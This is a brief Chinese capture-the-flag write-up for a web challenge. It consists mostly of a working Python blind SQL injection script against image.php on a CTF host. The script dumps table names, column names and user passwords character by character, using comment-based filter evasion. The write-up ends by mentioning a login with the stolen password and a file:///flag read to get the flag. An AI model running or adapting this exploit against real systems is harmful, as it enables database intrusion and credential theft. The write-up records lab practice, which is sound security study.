web3
image.php 有sql注入
 
```
import requests
 import sys
 session = requests.session()
 hh=''
 burp0_url = "http://eci-2zeab1jn4vnk23hzs0z3.cloudeci1.ichunqiu.com:80/image.php"
 for i in range(1,100):
     for j in range(30,129):
         if j==128:
             sys.exit(1)
 
         #print(gg)
         params={'id':"2/(select/**/ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{},1))={})".replace(' ','/**/').format(i,j)}
         params={'id':"2/(select/**/ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))={})".replace(' ','/**/').format(i,j)}
         params={'id':"2/(select/**/ascii(substr((select group_concat(password)from users),{},1))={})".replace(' ','/**/').format(i,j)}
 
         r=session.get(burp0_url,params=params)
         a=len(r.text)
         if a>1000:
             hh+=chr(j)
             print(hh)
            break
```
得到密码登录
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File:///flag 得到flag


	
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